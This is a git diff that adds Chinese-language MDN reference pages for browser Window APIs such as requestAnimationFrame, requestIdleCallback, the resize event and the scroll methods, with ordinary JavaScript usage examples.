diff --git a/files/zh-cn/web/api/window/rejectionhandled_event/index.html b/files/zh-cn/web/api/window/rejectionhandled_event/index.html new file mode 100644 index 0000000000..cf04dd5ae8 --- /dev/null +++ b/files/zh-cn/web/api/window/rejectionhandled_event/index.html @@ -0,0 +1,72 @@ +--- +title: 'Window: rejectionhandled event' +slug: Web/API/Window/rejectionhandled_event +translation_of: Web/API/Window/rejectionhandled_event +--- +
{{APIRef("HTML DOM")}}
+ +

当Promise被rejected且有rejection处理器时会在全局触发rejectionhandled 事件(通常是发生在window下,但是也可能发生在Worker中)。应用于调试一般应用回退。当Promise被rejected且没有rejection处理器处理时会触发unhandledrejection事件。这两个事件协同工作。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡No
是否可取消No
接口PromiseRejectionEvent
事件处理器属性onrejectionhandled
+ +

例子

+ +

你可以使用rejectionhandled事件在控制台打印出被rejected的Promise,以及被rejected的原因:

+ +
window.addEventListener("rejectionhandled", event => {
+  console.log("Promise rejected; reason: " + event.reason);
+}, false);
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'rejectionhandled')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.rejectionhandled_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/window/requestanimationframe/index.html b/files/zh-cn/web/api/window/requestanimationframe/index.html new file mode 100644 index 0000000000..b0e36717ab --- /dev/null +++ b/files/zh-cn/web/api/window/requestanimationframe/index.html @@ -0,0 +1,123 @@ +--- +title: window.requestAnimationFrame +slug: Web/API/Window/requestAnimationFrame +tags: + - API + - DOM + - DOM Reference + - Intermediate + - JavaScript timers + - Method + - NeedsBrowserCompatibility +translation_of: Web/API/window/requestAnimationFrame +--- +
{{APIRef}}
+ +

window.requestAnimationFrame() 告诉浏览器——你希望执行一个动画,并且要求浏览器在下次重绘之前调用指定的回调函数更新动画。该方法需要传入一个回调函数作为参数,该回调函数会在浏览器下一次重绘之前执行

+ +
注意:若你想在浏览器下次重绘之前继续更新下一帧动画,那么回调函数自身必须再次调用window.requestAnimationFrame()
+ +

当你准备更新动画时你应该调用此方法。这将使浏览器在下一次重绘之前调用你传入给该方法的动画函数(即你的回调函数)。回调函数执行次数通常是每秒60次,但在大多数遵循W3C建议的浏览器中,回调函数执行次数通常与浏览器屏幕刷新次数相匹配。为了提高性能和电池寿命,因此在大多数浏览器里,当requestAnimationFrame() 运行在后台标签页或者隐藏的{{ HTMLElement("iframe") }} 里时,requestAnimationFrame() 会被暂停调用以提升性能和电池寿命。

+ +

回调函数会被传入{{domxref("DOMHighResTimeStamp")}}参数,{{domxref("DOMHighResTimeStamp")}}指示当前被 requestAnimationFrame() 排序的回调函数被触发的时间。在同一个帧中的多个回调函数,它们每一个都会接受到一个相同的时间戳,即使在计算上一个回调函数的工作负载期间已经消耗了一些时间。该时间戳是一个十进制数,单位毫秒,最小精度为1ms(1000μs)。

+ +
+

请确保总是使用第一个参数(或其它获得当前时间的方法)计算每次调用之间的时间间隔,否则动画在高刷新率的屏幕中会运行得更快。请参考下面例子的做法。

+
+ +

语法

+ +
window.requestAnimationFrame(callback);
+
+ +

参数

+ +
+
callback
+
下一次重绘之前更新动画帧所调用的函数(即上面所说的回调函数)。该回调函数会被传入{{domxref("DOMHighResTimeStamp")}}参数,该参数与{{domxref('performance.now()')}}的返回值相同,它表示requestAnimationFrame() 开始去执行回调函数的时刻。
+
+ +

返回值

+ +

一个 long 整数,请求 ID ,是回调列表中唯一的标识。是个非零值,没别的意义。你可以传这个值给 {{domxref("window.cancelAnimationFrame()")}} 以取消回调函数。

+ +

范例

+ +
const element = document.getElementById('some-element-you-want-to-animate');
+let start;
+
+function step(timestamp) {
+  if (start === undefined)
+    start = timestamp;
+  const elapsed = timestamp - start;
+
+  //这里使用`Math.min()`确保元素刚好停在200px的位置。
+  element.style.transform = 'translateX(' + Math.min(0.1 * elapsed, 200) + 'px)';
+
+  if (elapsed < 2000) { // 在两秒后停止动画
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注解
{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}{{Spec2('HTML WHATWG')}}无改变,取代旧版
{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}{{Spec2('RequestAnimationFrame')}}初步定义
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Window.requestAnimationFrame")}}

+
+ +

参阅

+ + + +
+ +
+
+
+
+ +
+ +
+
+ +
+
+
diff --git a/files/zh-cn/web/api/window/requestfilesystem/index.html b/files/zh-cn/web/api/window/requestfilesystem/index.html new file mode 100644 index 0000000000..17561dfda0 --- /dev/null +++ b/files/zh-cn/web/api/window/requestfilesystem/index.html @@ -0,0 +1,74 @@ +--- +title: Window.requestFileSystem() +slug: Web/API/Window/requestFileSystem +translation_of: Web/API/Window/requestFileSystem +--- +

{{APIRef("File System API")}}

+ +

这个非标准 {{domxref("Window")}} requestFileSystem() 方法是谷歌浏览器内核用来让web站点或app获得通过沙箱访问文件系统 . 它返回 {{domxref("FileSystem")}} 然后就可以和 file system APIs 一起使用了

+ +
+

甚至相比较如File和Directory Entries API, requestFileSystem() 更不规范; 只有Chrome支持它, 所有其它浏览器已经决定不支持它了. 它甚至已经从规范建议单中移除了. 因此不要使用这个方法

+
+ +

语法

+ +
+

在所有支持它的浏览器中这个方法都有webkit前缀 (实际上也仅有谷歌浏览器支持).

+
+ +
window.requestFileSystem(type, size, successCallback[, errorCallback]);
+ +

参数

+ +
+
type
+
要请求的存储类型. 指定Window.TEMPORARY 浏览器自行决定要不要删除文件, 例如低内存, 或者Window.PERSISTENT 如果你需要文件保持在这个地方必须用户或站点或app明确许可. 持久存储要求用户授予站点配额
+
size
+
你希望你的app被允许的使用空间大小.
+
successCallback
+
+

成功获取文件系统时调用的函数。回调接收单个参数: 一个 {{domxref("FileSystem")}} 表示应用程序有权使用的文件系统的对象.

+
+
errorCallback {{optional_inline}}
+
一个可选参数,指定在试图获取文件系统时发生错误或用户拒绝创建或访问文件系统的权限时调用的函数。回调接收单个参数作为输入:一个{{domxref("FileError")}}用来描述错误的对象
+
+ +

返回值

+ +

无返回值

+ +

示例

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
+ +

这个API没有W3C或者WHATWG的官方规范.

+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.requestFileSystem")}}

+ +

相关知识

+ + diff --git a/files/zh-cn/web/api/window/requestidlecallback/index.html b/files/zh-cn/web/api/window/requestidlecallback/index.html new file mode 100644 index 0000000000..dc36051a1f --- /dev/null +++ b/files/zh-cn/web/api/window/requestidlecallback/index.html @@ -0,0 +1,76 @@ +--- +title: requestIdleCallback +slug: Web/API/Window/requestIdleCallback +tags: + - Idle + - requestAnimationFrame + - requestIdleCallback + - setTimeout + - 性能优化 +translation_of: Web/API/Window/requestIdleCallback +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

window.requestIdleCallback()方法将在浏览器的空闲时段内调用的函数排队。这使开发者能够在主事件循环上执行后台和低优先级工作,而不会影响延迟关键事件,如动画和输入响应。函数一般会按先进先调用的顺序执行,然而,如果回调函数指定了执行超时时间timeout,则有可能为了在超时前执行函数而打乱执行顺序。

+ +

你可以在空闲回调函数中调用requestIdleCallback(),以便在下一次通过事件循环之前调度另一个回调。

+ +
+

强烈建议使用timeout选项进行必要的工作,否则可能会在触发回调之前经过几秒钟。

+
+ +

语法

+ +
var handle = window.requestIdleCallback(callback[, options])
+ +

返回值

+ +

一个ID,可以把它传入 {{domxref("Window.cancelIdleCallback()")}} 方法来结束回调。

+ +

参数

+ +
+
callback
+
一个在事件循环空闲时即将被调用的函数的引用。函数会接收到一个名为 {{domxref("IdleDeadline")}} 的参数,这个参数可以获取当前空闲时间以及回调是否在超时时间前已经执行的状态。
+
options {{optional_inline}}
+
包括可选的配置参数。具有如下属性: +
    +
  • timeout:如果指定了timeout并具有一个正值,并且尚未通过超时毫秒数调用回调,那么回调会在下一次空闲时期被强制执行,尽管这样很可能会对性能造成负面影响。
  • +
+
+
+ +

Example

+ +

See our complete example in the article Cooperative Scheduling of Background Tasks API.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Background Tasks')}}{{Spec2('Background Tasks')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Window.requestIdleCallback")}}

+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/window/resize_event/index.html b/files/zh-cn/web/api/window/resize_event/index.html new file mode 100644 index 0000000000..bdddef32e7 --- /dev/null +++ b/files/zh-cn/web/api/window/resize_event/index.html @@ -0,0 +1,182 @@ +--- +title: resize +slug: Web/API/Window/resize_event +translation_of: Web/API/Window/resize_event +--- +

文档视图调整大小时会触发 resize 事件。

+ +

基本信息

+ +
+
规范
+
DOM L3, CSSOM View
+
接口
+
UIEvent
+
是否冒泡
+
+
是否可取消默认
+
+
事件目标
+
defaultView (window)
+
默认行为
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
+ +

案例

+ +

由于resize事件可以以较高的速率触发, 因此事件处理程序不应该执行计算开销很大的操作 (如 DOM 修改)。相反, 建议使用requestAnimationFrame, setTimeout or customEvent, 比如:

+ +

requestAnimationFrame + customEvent

+ +
;(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+
+ +

requestAnimationFrame

+ +
var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+
+ +

setTimeout

+ +
(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());
diff --git a/files/zh-cn/web/api/window/resizeby/index.html b/files/zh-cn/web/api/window/resizeby/index.html new file mode 100644 index 0000000000..ad8419af50 --- /dev/null +++ b/files/zh-cn/web/api/window/resizeby/index.html @@ -0,0 +1,43 @@ +--- +title: Window.resizeBy() +slug: Web/API/Window/resizeBy +translation_of: Web/API/Window/resizeBy +--- +
{{APIRef}}
+ +

概述

+ +

调整窗口大小。

+ +

语法

+ +
window.resizeBy(xDelta, yDelta)
+
+ +

参数

+ + + +

例子

+ +
// 缩小窗口
+window.resizeBy(-200, -200);
+
+ +

备注

+ +

该方法相对于窗口当前大小来调整该窗口的大小。要以绝对大小方式调整窗口的大小,可使用 {{domxref("window.resizeTo")}}。

+ +

从 Firefox 7,依据下面的规则,不能再调整浏览器内一个窗口的默认大小了:

+ +
    +
  1. 不能调整非 window.open 方法打开的窗口或 Tab 的大小。
  2. +
  3. 当一个窗口内包含有一个以上的 Tab 时,不能调整窗口的大小。
  4. +
+ +

规范

+ +

DOM Level 0。不属于规范。

diff --git a/files/zh-cn/web/api/window/resizeto/index.html b/files/zh-cn/web/api/window/resizeto/index.html new file mode 100644 index 0000000000..96fc9833ed --- /dev/null +++ b/files/zh-cn/web/api/window/resizeto/index.html @@ -0,0 +1,34 @@ +--- +title: Window.resizeTo +slug: Web/API/Window/resizeTo +translation_of: Web/API/Window/resizeTo +--- +
+ {{APIRef}}
+

概述

+

动态调整窗口的大小。

+

语法

+
window.resizeTo(aWidth, aHeight)
+
+

参数

+ +

示例

+
// 将窗口设置为整个屏幕的 1/4 大小(面积)
+function quarter() {
+  window.resizeTo(
+    window.screen.availWidth / 2,
+    window.screen.availHeight / 2
+  );
+}
+

备注

+

从 Firefox 7 开始,不能改变浏览器窗口的大小了,要依据下面的规则

+
    +
  1. 不能设置那些不是通过 window.open 创建的窗口或 Tab 的大小。
  2. +
  3. 当一个窗口里面含有一个以上的 Tab 时,无法设置窗口的大小。
  4. +
+

相关链接 {{domxref("window.resizeBy")}}.

+

规范

+

{{dom0}}

diff --git a/files/zh-cn/web/api/window/restore/index.html b/files/zh-cn/web/api/window/restore/index.html new file mode 100644 index 0000000000..bc704660b6 --- /dev/null +++ b/files/zh-cn/web/api/window/restore/index.html @@ -0,0 +1,16 @@ +--- +title: Window.restore() +slug: Web/API/Window/restore +translation_of: Web/API/Window/moveTo +--- +

{{APIRef}}

+ +

这个方法现在已经失效,不过可以使用下面的方法代替:

+ +

{{domxref("window.moveTo")}}({{domxref("window.screenX")}}, {{domxref("window.screenY")}});

+ +

Browser Compatibility

+ + + +

{{Compat("api.Window.restore")}}

diff --git a/files/zh-cn/web/api/window/screen/index.html b/files/zh-cn/web/api/window/screen/index.html new file mode 100644 index 0000000000..699d85d5c7 --- /dev/null +++ b/files/zh-cn/web/api/window/screen/index.html @@ -0,0 +1,32 @@ +--- +title: Window.screen +slug: Web/API/Window/screen +tags: + - screen +translation_of: Web/API/Window/screen +--- +
{{APIRef("CSSOM View")}}
+ +

返回当前window的screen对象。screen对象实现了{{domxref("Screen")}}接口,它是个特殊的对象,返回当前渲染窗口中和屏幕有关的属性。

+ +

语法

+ +
screenObj = window.screen;
+
+ +

 

+ +

示例

+ +

 

+ +
if (screen.pixelDepth < 8) {
+  // use low-color version of page
+} else {
+  // use regular, colorful page
+}
+
+ +

Specification

+ +

TBD

diff --git a/files/zh-cn/web/api/window/screenleft/index.html b/files/zh-cn/web/api/window/screenleft/index.html new file mode 100644 index 0000000000..a3a64a5164 --- /dev/null +++ b/files/zh-cn/web/api/window/screenleft/index.html @@ -0,0 +1,88 @@ +--- +title: Window.screenLeft +slug: Web/API/Window/screenLeft +translation_of: Web/API/Window/screenLeft +--- +
{{APIRef}}
+ +

Window.screenLeft 是一个只读属性,它返回浏览器左边框到左边屏幕边缘的 CSS 像素数。

+ +
+

注意screenLeft 只是 {{domxref("Window.screenX")}}  属性的别名,最初只被 IE 浏览器所支持。现在主流的浏览器都已支持该属性。

+
+ +

语法

+ +
leftWindowPos = window.screenLeft
+
+ +

返回值

+ +

返回浏览器窗口到屏幕左边缘的 CSS 像素距离数值。

+ +

例子

+ +

在 screenleft-screentop 项目中,展示了一个监听浏览器窗口位置变化,动态更新 canvas 的例子。在这个例子中,当你移动浏览器窗口位置,绘制在 canvas 上的圆也会对应移动。我们通过监听 screenLeft/screenTop 的变化,并使用 {{domxref("Window.requestAnimationFrame()")}} 来对 canvas 实时重绘,保证了浏览器窗口移动时,canvas 内部圆的位置也会发生对应的移动。

+ +
initialLeft = window.screenLeft + canvasElem.offsetLeft;
+initialTop = window.screenTop + canvasElem.offsetTop;
+
+function positionElem() {
+  let newLeft = window.screenLeft + canvasElem.offsetLeft;
+  let newTop = window.screenTop + canvasElem.offsetTop;
+
+  let leftUpdate = initialLeft - newLeft;
+  let topUpdate = initialTop - newTop;
+
+  ctx.fillStyle = 'rgb(0, 0, 0)';
+  ctx.fillRect(0, 0, width, height);
+  ctx.fillStyle = 'rgb(0, 0, 255)';
+  ctx.beginPath();
+  ctx.arc(leftUpdate + (width/2), topUpdate + (height/2) + 35, 50, degToRad(0), degToRad(360), false);
+  ctx.fill();
+
+  pElem.textContent = 'Window.screenLeft: ' + window.screenLeft + ', Window.screenTop: ' + window.screenTop;
+
+  window.requestAnimationFrame(positionElem);
+}
+
+window.requestAnimationFrame(positionElem);
+ +

如果浏览器不支持 screenLeft属性,我们还在代码中使用了一个 polyfill 来保证演示效果。通过设置 {{domxref("Window.screenX")}}/{{domxref("Window.screenY")}} 为对应别名来实现一样的功能。

+ +
if(!window.screenLeft) {
+  window.screenLeft = window.screenX;
+  window.screenTop = window.screenY;
+}
+ +

说明

+ + + + + + + + + + + + + + + + +
规范状态提交
{{ SpecName('CSSOM View', '#dom-window-screenx', 'Window.screenLeft') }}{{ Spec2('CSSOM View') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.screenLeft")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/screentop/index.html b/files/zh-cn/web/api/window/screentop/index.html new file mode 100644 index 0000000000..35067bb48d --- /dev/null +++ b/files/zh-cn/web/api/window/screentop/index.html @@ -0,0 +1,88 @@ +--- +title: Window.screenTop +slug: Web/API/Window/screenTop +translation_of: Web/API/Window/screenTop +--- +

{{APIRef}}

+ +

Window.screenTop 只读属性返回垂直距离,单位是CSS 像素, 从用户浏览器的上边界到屏幕最顶端。

+ +
+

Note: screenTop is an alias of the older {{domxref("Window.screenY")}} property. screenTop was originally supported only in IE but was introduced everywhere due to popularity.

+
+ +

语法

+ +
topWindowPos = window.screenTop
+
+ +

返回值

+ +

A number equal to the number of CSS pixels from the top edge of the browser viewport to the  top edge of the screen.

+ +

例子

+ +

In our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle. In this example we are using screenLeft/screenTop plus {{domxref("Window.requestAnimationFrame()")}} to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.

+ +
initialLeft = window.screenLeft + canvasElem.offsetLeft;
+initialTop = window.screenTop + canvasElem.offsetTop;
+
+function positionElem() {
+  let newLeft = window.screenLeft + canvasElem.offsetLeft;
+  let newTop = window.screenTop + canvasElem.offsetTop;
+
+  let leftUpdate = initialLeft - newLeft;
+  let topUpdate = initialTop - newTop;
+
+  ctx.fillStyle = 'rgb(0, 0, 0)';
+  ctx.fillRect(0, 0, width, height);
+  ctx.fillStyle = 'rgb(0, 0, 255)';
+  ctx.beginPath();
+  ctx.arc(leftUpdate + (width/2), topUpdate + (height/2) + 35, 50, degToRad(0), degToRad(360), false);
+  ctx.fill();
+
+  pElem.textContent = 'Window.screenLeft: ' + window.screenLeft + ', Window.screenTop: ' + window.screenTop;
+
+  window.requestAnimationFrame(positionElem);
+}
+
+window.requestAnimationFrame(positionElem);
+ +

Also in the code we include a snippet that detects whether screenLeft is supported, and if not, polyfills in screenLeft/screenTop using {{domxref("Window.screenX")}}/{{domxref("Window.screenY")}}.

+ +
if(!window.screenLeft) {
+  window.screenLeft = window.screenX;
+  window.screenTop = window.screenY;
+}
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-screeny', 'Window.screenTop') }}{{ Spec2('CSSOM View') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.screenTop")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/screenx/index.html b/files/zh-cn/web/api/window/screenx/index.html new file mode 100644 index 0000000000..44048dfe03 --- /dev/null +++ b/files/zh-cn/web/api/window/screenx/index.html @@ -0,0 +1,21 @@ +--- +title: Window.screenX +slug: Web/API/Window/screenX +translation_of: Web/API/Window/screenX +--- +
+ {{APIRef}}
+

概述

+

返回浏览器左边界到操作系统桌面左边界的水平距离。

+

语法

+
lLoc = window.screenX
+
+ +

规范

+

{{dom0}}

+

相关链接

+ diff --git a/files/zh-cn/web/api/window/screeny/index.html b/files/zh-cn/web/api/window/screeny/index.html new file mode 100644 index 0000000000..23f2fcdb2a --- /dev/null +++ b/files/zh-cn/web/api/window/screeny/index.html @@ -0,0 +1,21 @@ +--- +title: Window.screenY +slug: Web/API/Window/screenY +translation_of: Web/API/Window/screenY +--- +
+ {{APIRef}}
+

概述

+

返回浏览器顶部距离系统桌面顶部的垂直距离。

+

语法

+
lLoc = window.screenY
+
+ +

规范

+

{{dom0}}

+

相关链接

+ diff --git a/files/zh-cn/web/api/window/scroll/index.html b/files/zh-cn/web/api/window/scroll/index.html new file mode 100644 index 0000000000..dd889bbe60 --- /dev/null +++ b/files/zh-cn/web/api/window/scroll/index.html @@ -0,0 +1,70 @@ +--- +title: Window.scroll() +slug: Web/API/Window/scroll +tags: + - 全局方法 +translation_of: Web/API/Window/scroll +--- +
{{APIRef}}
+ +

概述

+ +

滚动窗口至文档中的特定位置。

+ +

语法

+ +
window.scroll(x-coord, y-coord)
+window.scroll(options)
+
+ +

参数

+ + + +

- 或者 -

+ + + +

示例

+ +
<!-- 把纵轴上第 100 个像素置于窗口顶部 -->
+
+<button onClick="scroll(0, 100);">点击以向下滚动 100 像素</button>
+
+ +

使用 options:

+ +
window.scroll({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});
+
+ +

备注

+ +

window.scrollTo 实际上和该方法是相同的。想要重复地滚动某个距离,请使用 window.scrollBy. 参见 window.scrollByLines, window.scrollByPages.

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{ SpecName('CSSOM View', '#dom-window-scrollto', 'window.scrollTo()') }}{{ Spec2('CSSOM View') }}初始定义
diff --git a/files/zh-cn/web/api/window/scrollbars/index.html b/files/zh-cn/web/api/window/scrollbars/index.html new file mode 100644 index 0000000000..6afc2a7ddd --- /dev/null +++ b/files/zh-cn/web/api/window/scrollbars/index.html @@ -0,0 +1,65 @@ +--- +title: Window.scrollbars +slug: Web/API/Window/scrollbars +translation_of: Web/API/Window/scrollbars +--- +

{{ APIRef() }}

+ +

概要

+ +

返回可以检查其可见性的滚动条对象。

+ +

语法

+ +
objRef = window.scrollbars
+
+ +

示例

+ +

下面的HTML示例展示了如何使用window.scrollbars对象的visible 属性。

+ +
<!doctype html>
+<html>
+<head>
+  <title>Various DOM Tests</title>
+  <script>
+    var visibleScrollbars = window.scrollbars.visible;
+  </script>
+</head>
+<body>
+  <p>Various DOM Tests</p>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-window-scrollbars', 'Window.scrollbars')}}现行标准 
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-scrollbars', 'Window.scrollbars')}}官方推荐 
+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/scrollby/index.html b/files/zh-cn/web/api/window/scrollby/index.html new file mode 100644 index 0000000000..fea5cc42e3 --- /dev/null +++ b/files/zh-cn/web/api/window/scrollby/index.html @@ -0,0 +1,84 @@ +--- +title: Window.scrollBy() +slug: Web/API/Window/scrollBy +tags: + - 全局方法 +translation_of: Web/API/Window/scrollBy +--- +

{{ APIRef() }}

+ +

摘要

+ +

在窗口中按指定的偏移量滚动文档。

+ +

语法

+ +
window.scrollBy(x-coord, y-coord);
+window.scrollBy(options)
+
+ +

参数

+ + + +

正数坐标会朝页面的右下方滚动,负数坐标会滚向页面的左上方。

+ + + +
    +
  1. top 等同于  y-coord
  2. +
  3. left 等同于  x-coord
  4. +
  5. behavior  表示滚动行为,支持参数:smooth (平滑滚动),instant (瞬间滚动),默认值 auto,效果等同于 instant
  6. +
+ +

例子

+ +

向下滚动一页:

+ +
window.scrollBy(0, window.innerHeight);
+
+ + + +

向上滚动一页:

+ +
window.scrollBy(0, -window.innerHeight);
+ + + +

使用 options:

+ +
window.scrollBy({
+  top: 100,
+  left: 100,
+  behavior: "smooth"
+});
+
+ +

注意

+ +

window.scrollBy 滚动指定的距离,而 window.scroll 滚动至文档中的绝对位置。另外还有 window.scrollByLines, window.scrollByPages

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{ SpecName('CSSOM View', '#dom-window-scrollby', 'window.scrollBy()') }}{{ Spec2('CSSOM View') }}初次定义
diff --git a/files/zh-cn/web/api/window/scrollbylines/index.html b/files/zh-cn/web/api/window/scrollbylines/index.html new file mode 100644 index 0000000000..d11f31562c --- /dev/null +++ b/files/zh-cn/web/api/window/scrollbylines/index.html @@ -0,0 +1,56 @@ +--- +title: Window.scrollByLines() +slug: Web/API/Window/scrollByLines +tags: + - API + - DOM + - Method + - Non-standard + - Window + - 方法 + - 非标准 +translation_of: Web/API/Window/scrollByLines +--- +

 

+ +
{{ ApiRef() }}
+ +
+

{{Non-standard_header}}

+
+ +

概要

+ +

按给定的行数滚动文档。

+ +

语法

+ +
window.scrollByLines(lines)
+
+ +

参数

+ + + +

例子

+ +
<!-- 向下滚动5行。 -->
+<button onclick="scrollByLines(5);">down 5 lines</button>
+
+ +
<!-- 向上滚动5行。 -->
+<button onclick="scrollByLines(-5);">up 5 lines</button>
+
+ +

规范

+ +

这不是任何规范的一部分。

+ +

参考

+ + diff --git a/files/zh-cn/web/api/window/scrollbypages/index.html b/files/zh-cn/web/api/window/scrollbypages/index.html new file mode 100644 index 0000000000..f2618eca98 --- /dev/null +++ b/files/zh-cn/web/api/window/scrollbypages/index.html @@ -0,0 +1,40 @@ +--- +title: window.scrollByPages +slug: Web/API/Window/scrollByPages +translation_of: Web/API/Window/scrollByPages +--- +

{{ ApiRef() }}

+ +

概述

+ +

在当前文档页面按照指定的页数翻页.

+ +

语法

+ +
window.scrollByPages(pages)
+
+ +

参数

+ + + +

例子

+ +
// 当前文档向下翻一页
+window.scrollByPages(1);
+
+// 当前文档向上翻一页
+window.scrollByPages(-1);
+
+ +

备注

+ +

查看 window.scrollBy, window.scrollByLines, window.scroll, window.scrollTo.

+ +

规范

+ +

DOM Level 0 不属于任何标准

+ +

{{ languages( { "ja": "ja/DOM/window.scrollByPages", "pl": "pl/DOM/window.scrollByPages", "en": "en/DOM/window.scrollByPages" } ) }}

diff --git a/files/zh-cn/web/api/window/scrollmaxx/index.html b/files/zh-cn/web/api/window/scrollmaxx/index.html new file mode 100644 index 0000000000..c6cebd7d02 --- /dev/null +++ b/files/zh-cn/web/api/window/scrollmaxx/index.html @@ -0,0 +1,45 @@ +--- +title: Window.scrollMaxX +slug: Web/API/Window/scrollMaxX +tags: + - API + - DOM + - Window + - 属性 + - 接口 +translation_of: Web/API/Window/scrollMaxX +--- +
{{APIRef}} {{Non-standard_header}}
+ +

Window.scrollMaxX 只读属性,返回有关文档可水平滚动的最大像素数。

+ +

语法

+ +
xMax = window.scrollMaxX
+
+ + + +

示例

+ +
// 滚动到页面的右边缘
+let maxX = window.scrollMaxX;
+
+window.scrollTo(maxX, 0);
+
+ +

提示

+ +

不要用这个属性来获得文档总宽度,文档总宽度不等于window.innerWidth + window.scrollMaxX。因为 {{domxref("window.innerWidth")}}包含所有可见的垂直滚动条的宽度,所以结果会超出文档总宽度,多出所有可见的垂直滚动条的宽度。作为替代,可使用{{domxref("element.scrollWidth","document.body.scrollWidth")}}。查看相关:{{domxref("window.scrollMaxY")}}。

+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容

+ + + +

{{Compat("api.Window.scrollMaxX")}}

diff --git a/files/zh-cn/web/api/window/scrollmaxy/index.html b/files/zh-cn/web/api/window/scrollmaxy/index.html new file mode 100644 index 0000000000..3012d9d244 --- /dev/null +++ b/files/zh-cn/web/api/window/scrollmaxy/index.html @@ -0,0 +1,48 @@ +--- +title: Window.scrollMaxY +slug: Web/API/Window/scrollMaxY +tags: + - API + - DOM_0 + - HTML DOM + - 参考 + - 属性 + - 非标准 +translation_of: Web/API/Window/scrollMaxY +--- +
{{APIRef}} {{Non-standard_header}}
+ +

只读属性Window.scrollMaxY返回document可以纵向滚动的最大像素数目

+ +

语法

+ +
yMax = window.scrollMaxY
+
+ + + +

例子

+ +
// 滚动到页面的底部
+let maxY = window.scrollMaxY;
+
+window.scrollTo(0, maxY);
+
+ +

备注

+ +

不要用 {{domxref("window.innerHeight")}} + window.scrollMaxY 来计算document的总高度,因为 {{domxref("window.innerHeight")}} 也包括了可见的水平滚动条的高度。正确的做法是使用 {{domxref("element.scrollHeight","document.body.scrollHeight")}} 。

+ +

参见{{domxref("window.scrollMaxX")}} 和 {{domxref("window.scrollTo")}} 。

+ +

规范

+ +

这不属于任何规范中的一部分。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.scrollMaxY")}}

diff --git a/files/zh-cn/web/api/window/scrollto/index.html b/files/zh-cn/web/api/window/scrollto/index.html new file mode 100644 index 0000000000..715e3f0190 --- /dev/null +++ b/files/zh-cn/web/api/window/scrollto/index.html @@ -0,0 +1,58 @@ +--- +title: Window.scrollTo() +slug: Web/API/Window/scrollTo +translation_of: Web/API/Window/scrollTo +--- +
{{ APIRef }}
+ +

摘要

+ +

